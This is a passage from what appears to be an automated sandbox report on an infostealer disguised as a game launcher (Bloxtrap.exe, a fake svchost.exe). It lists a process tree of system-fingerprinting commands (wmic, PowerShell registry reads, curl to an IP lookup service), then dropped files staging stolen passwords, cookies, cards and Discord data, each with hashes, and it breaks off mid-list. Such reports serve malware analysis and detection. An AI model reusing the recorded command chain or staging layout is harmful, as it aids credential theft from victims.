                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:2512
                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:1884
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4848
                                                                                                                                                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                          curl http://api.ipify.org/ --ssl-no-revoke
                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                            PID:5516
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                              wmic bios get smbiosbiosversion
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:4524
                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:4420
                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                  wmic MemoryChip get /format:list
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:1840
                                                                                                                                                                                                                                                                  • C:\Windows\system32\find.exe
                                                                                                                                                                                                                                                                    find /i "Speed"
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:4104
                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:5164
                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                        wmic path win32_VideoController get name
                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                        • Detects videocard installed
                                                                                                                                                                                                                                                                        PID:4576
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:2036
                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:6112
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "curl http://api.ipify.org/ --ssl-no-revoke"
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                            PID:5128
                                                                                                                                                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                                                                                                                                                              curl http://api.ipify.org/ --ssl-no-revoke
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:4944
                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5620
                                                                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                  wmic bios get smbiosbiosversion
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:5616
                                                                                                                                                                                                                                                                            • C:\ProgramData\svchost.exe
                                                                                                                                                                                                                                                                              C:\ProgramData\svchost.exe
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              PID:1844
                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Enumerates system info in registry
                                                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                              • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                                                                                                                              PID:5608
                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xdc,0x108,0x7ffe9015ab58,0x7ffe9015ab68,0x7ffe9015ab78
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:6140
                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1700 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:2
                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                    PID:664
                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:5492
                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2312 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:4772
                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2956 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                          PID:5172
                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2964 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:2668
                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3840 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:2272
                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4484 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:4044
                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4540 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:5032
                                                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4528 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:336
                                                                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4880 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:3296
                                                                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4864 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:8
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:3940
                                                                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --mojo-platform-channel-handle=4568 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:2092
                                                                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4692 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                            PID:3192
                                                                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4436 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                              PID:1036
                                                                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=4704 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                PID:5304
                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-chrome-cart --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --mojo-platform-channel-handle=3148 --field-trial-handle=1952,i,15642835147872844645,13137569443651118990,131072 /prefetch:1
                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                  PID:4848
                                                                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                                                                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:2140
                                                                                                                                                                                                                                                                                                                • C:\ProgramData\svchost.exe
                                                                                                                                                                                                                                                                                                                  C:\ProgramData\svchost.exe
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                  PID:5568

                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\Bloxtrap.exe

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  154.5MB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  0daf58dbc703cbe8e60639216cc04798

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  26ef3e3ad52f9efb1a3f172f537ec48ee24fbedc

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  920bffc0ec1e85fbab67c59f83f8a673ab8ed764b0ea3cc92e4bc7665e040bbf

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  fa48d615524827ef598f6e432080ed35f824de3d56e8f6b9ed853d6caf1848580e503209b1002f2c7b666734ad08a17c9e705be8029afe900793d8288b32b437

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\Autofills\Autofills.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  94B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  2f308e49fe62fbc51aa7a9b987a630fe

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  1b9277da78babd9c5e248b66ba6ab16c77b97d0b

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  d46a44dd86cea9187e6049fd56bb3b450c913756256b76b5253be9c3b043c521

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  c3065baa302032012081480005f6871be27f26da758dc3b6e829ea8a3458e5c0a4740e408678f3ecf4600279d3fcad796f62f35b8591e46200ce896899573024

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\Cards\Cards.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  70B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  8a0ed121ee275936bf62b33f840db290

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  898770c85b05670ab1450a96ea6fbd46e6310ef6

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  983f823e85d9e4e6849a1ed58e5e3464f3a4adbe9d0daeeadd1416cf35178709

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  7d429ce5c04a2e049cdf3f8d8165a989ab7e3e0ac25a7809c12c4168076492b797d2eebaf271ae02c51cb69786c2574ec3125166444e4fa6fc73430f75f8f154

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\Cookies\Google_Default.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  491B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  7436340011ad5f59a8cb1bdf5bee73e1

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  648caf4b9cdb7958e53a48bfc6461ffeab21e863

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  f6e5648612e6be2f4d89e49fa9d49e8c628dadeca9b248616f6f8d655d3208d9

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  b335b94dd6adf1788d3c43988654ec62a06259b2f8b66cc69231738bfb4333e3279caae731e4a29e7b54068a338e1f89c6f1584cb4ad66e6b234654793d48708

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\Discord\discord.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  15B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  675951f6d9d75fd2c9c06b5ff547c6fd

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  9b474ab39d1e2aad52ea5272dbac7d4f9fe44c09

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  60fe7843b40ed5b7c68118bbba6bfe5f786a76397cdedb80612fd7cefce7f244

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  44dfb6c937283870c6eedf724649004a82631cd8eeb3f9c83e5bca619d1c9ffb8aa5f51c91d57f76789e2747712ce9c6ad207773928e5e00e712f640f8c25aea

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\Passwords\Passwords.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  78B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  c5e74f3120dbbd446a527e785dfe6d66

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  11997c2a53d19fd20916e49411c7a61bfb590e9c

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  e0fd13d912d320faaa64e177b4e75f54ec140692ebc5904d10e1cbe3e811ee05

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  a2bab776d22abf857c7df84b3c90851829eda615fbd450c9c72ab89f97591224380990a86c8e7e40ac811aa1225592743eebed63125d519d138fa28b859f2a3f

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\Serial-Check.txt

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  506B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  38457d1c56e447f854c3628bc18cdecc

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  30a7218f34ff905ae8abc422ba54577fcf6c1109

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  7362146226bf6f12ce1a6fd9e02b43155c4a47d85a176f605a3e1c3e4f954c8d

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  41fd7b63c416ecd7787d6c94db3571f185d92e74163023954da838122a3d4b3ec97562c9968c8dd57190851725e304a070fde14f1e6d1d4860727ba964f4d765

                                                                                                                                                                                                                                                                                                                • C:\ProgramData\Steam\Launcher\EN-Dtkutjrl\debug.log

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  462B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  2232dfb8a02954f9974485dca6617327

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  5bd49144b154e1510e5540d295907f4f57530e08

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  3edf5a9a9c30671eb63efdc311ec4ee840b24ba4ff87e0877b9edff91d91a07a

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  437251d3c9ae8b39165af7d8272cf238a9b66c74a607ee0e5648a45cf2c77bcbbf7444a9c4b75db5a4a78e2af1ce736df7484866f6953a5ddb10f1b23d07db55

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  40B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  58bb95b4094ea52340b0fa368840c9a5

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  03e801a2f4735f3f47b6822d4660e55210e56567

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  65d15a1557409d3cb361251a31e7a620874bd504e12187d1260d9b80fbf6b235

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  6931e70506a094e390cbcb45ae3bbca25ea54ab1937d6b5b3443890c5f436f5ee04dd587605ff1d7055f4f810d3ac690e1a42b39020e242389dddbce5f7b3deb

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000006

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  58KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  9b603992d96c764cbd57766940845236

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  4f081f843a1ae0bbd5df265e00826af6c580cfe7

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  520408fec7c6d419184ec68ad3d3f35f452d83bd75546aa5d171ffc7fe72cb2b

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  abd88ee09909c116db1f424f2d1cbc0795dbc855fef81f0587d9a4e1a8d90de693fa72841259cf4a80e0e41d9f3e1f4bf3a78c4801264e3e9c7d9635bb79ccf5

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000007

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  40KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  5ce7bdeeea547dc5e395554f1de0b179

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  3dba53fa4da7c828a468d17abc09b265b664078a

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  675cd5fdfe3c14504b7af2d1012c921ab0b5af2ab93bf4dfbfe6505cae8b79a9

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  0bf3e39c11cfefbd4de7ec60f2adaacfba14eac0a4bf8e4d2bc80c4cf1e9d173035c068d8488436c4cf9840ae5c7cfccbefddf9d184e60cab78d1043dc3b9c4e

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  456B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  08916630856ff023951e3879dabb7b76

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  d7314031c569b96a489bb5f4d21b07cd7d5c023a

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  8d2937ed9ee1a96dac0faa33cf91e023453ede562a0bb2c9e9bd50008c4220a6

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  5e208aef3338adf14fa6a640b52b8f5d4c3d8011822339404f8770cc126e7389206d43e373aff7dc766738e58984c57486785f5c8a4c8896b1a9faa5dd03cd53

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  2KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  a8a7274fcd7bc87bea58b8a6efc4da50

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  18d734af103697e8cbeb032890bea0dbc50b4ccf

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  d1feca1689422b9eb7cad71d3e9e4922d66790bc04a0ca9c4b90de689bdc401c

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  826cc7b837f52875b7dd4ebf91d26957b6ab20a8230200ee2c96173238adaacf2e7562f11bfc65f377e46641b5abb583833ff149611f8addaaba7538b2274eb6

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  a12b7f26a6d6dd3c499bb9f8c8ac2e65

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  b3909ee07a352d9db89a61b11ade04e1317c8df4

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  d709eb8fd29dc86c3966f64dd018d04d6262ed1cf3bcc3188518d1c236d2c159

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  72ef470a943fa68530c7c98fd595bbf40af6b7b114529a6cca1d92024fa7355a8f22173842de18365006976302c250ca8339b12838554a7fc56043d295d6dd5f

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  2B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  d751713988987e9331980363e24189ce

                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                  97d170e1550eee4afc0af065b78cda302a97674c

                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                  4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                  b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                  356B

                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                  05cf657e175fc732769dc7033e1ff13f

                                                                                                                                                                                                                                                                                                                  SHA1

